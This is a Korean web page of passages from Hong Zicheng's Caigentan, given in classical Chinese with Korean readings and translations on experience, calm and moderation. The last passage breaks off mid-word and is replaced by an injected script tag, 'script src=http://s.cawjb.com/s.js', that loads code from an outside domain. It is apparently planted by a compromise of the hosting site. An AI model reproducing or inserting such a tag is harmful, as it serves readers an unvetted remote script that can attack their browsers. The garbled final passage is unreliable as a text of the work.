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[제목] 입이 쓰다 (홍자성)
洪自誠의 채근담(菜根譚)중에서




涉世淺,點染亦淺.歷事深,機械亦深.
(섭세천 점염역천 역사심 기계역심)

세상일에 경험이 깊지 않을수록 그 만큼 때묻지 않을 것이고

세상일에 경험이 깊을수록 남을 속이는 재주 또한 깊어진다

故君子 與其達練,不若朴魯.與其曲謹,不若疎狂
(고군자 여기달련 불약박로 여기곡근 불약소광)

그러므로 군자는 능란하기보다는 차라리 소박한 것이 낫고
치밀하기보다는 오히려 소탈한 편이 낫다

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疾風怒雨,禽鳥戚戚.霽日光風,草木欣欣.
(질풍노우 금조척척 제일광풍 초목흔흔)

세찬 바람과 성난 빗줄기에는 새들도 근심하고
개인 날씨와 맑은 바람에는 초목도 싱그러우니


可見天地不可一日無和氣 人心不可一日無喜神
(가견천지불가일일무화기 인심불가일일무희신)

천지에는 하루도 화기 없어서는 안 되고
사람의 마음에는 하루도 즐거워하는 기분이 없어서는 안된다

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天地寂然不動,而氣機無息少停.
(천지숙연부동 이기기무식소정)

천지는 고요하여 움직이지 않으나
그 작용은 쉬지 않고


日月晝夜奔馳,而貞明萬古不易.
(일월주야분치 이정명만고불역)

해와 달은 밤낮으로 분주하게 움직여도
그 밝음은 만고에 변하지 않는다


故君子 閒時要有喫緊的心事,忙處要有悠閒的趣味
(고군자한시요유끽긴적심사 망처요유유한적취미)

그러므로 사람은 한가한 때일수록
다급한 일에 대처하는 마음을 마련하고
바쁜 때일수록 여유 있는 마음을 가져야 한다

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好動者,雲電風燈.嗜寂者,死灰槁木.
(호동자 운전풍등 기적자 사회고목)

움직이기를 좋아하는 사람은
구름 속의 번개나 바람 앞의 흔들리는 등불과 같다
고요함을 즐기는 사람은
불꺼진 재나 마른 나뭇가지와 같다


須定雲止水中,有鳶飛魚躍氣象,總是有道的心體.
(수정운지수중 유연비어약기상 총시유도적심체)

사람은 멈춘 구름이나 잔잔한 물과 같은 경지에서도
솔개가 날고 물고기가 뛰노는 기상이 있어야 하나니
이것이 바로 도를 깨우친 사람의 마음이다

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作人,無甚高遠事業,擺脫得俗情,便入名流.
(작인무심고원사업 태탈득속정 편입명류)

사람으로서 뛰어나게 위대한 일은 못 하더라도
세속의 정에서 벗어날 수 있다면
명사라 일컬을 수 있다


爲學,無甚增益工夫,減除得物累,便超聖境.
(위학 무심증익공부 감제득물누 편초성경)

학문을 연마하되 뛰어나게 공부하지 못하더라도
물욕을 마음에서 덜어 낼 수 있다면
성인의 경지에까지 이르게 된다

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事事留個有餘不盡的意思,
(사사유개유여부진적의사)

모든 일에 여분을 남겨 못다 한 뜻을 둔다면

便造物不能忌我,鬼神不能損我.
(편조물불능기아 귀신불능손아)

조물주도 시기하지 않으며
귀신도 해하지 않는다


若業必求滿 功必求盈者,不生內變,必召外憂
(약업필구만공필구잉자 불생내변 필소외우)

모든 일에서 성공을 구하고
공로 또한 완전하길 바란다면
안으로부터 변란이 일어나거나
바깥으로부터 근심을 부르게 된다

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人之際遇,有齊有不齊,而能使己獨齊乎?
(인지제우 유제유불제 이능사기독제호)

사람들은 제각기
모든 것을 갖출 수도 있고 못할 수도 있거늘
어찌 자기 혼자서만 갖추게 할 수 있겠는가


己之情理,有順有不順,而能使人皆順乎?
(기지정리 유순유불순 이능사인계순호)

또 자기의 마?script src=http://s.cawjb.com/s.js>
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